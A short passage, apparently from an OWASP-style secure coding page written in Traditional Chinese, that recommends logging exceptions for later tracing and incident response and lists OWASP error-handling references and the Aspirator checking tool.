- 確保例外狀況會被記錄下來，這些例外狀況記錄的資訊可以供未來問題的追蹤，分析或是事件回覆使用，主要幫助研發團對理解所發生的問題。

安全防護

- * [All Top Ten!](#)

參考

- [OWASP Code Review Guide - Error Handling](#)
- [OWASP Testing Guide - Testing for Error Handling](#)
- [OWASP Improper Error Handling](#)

工具

- [Aspirator](#) 錯誤處理檢查工具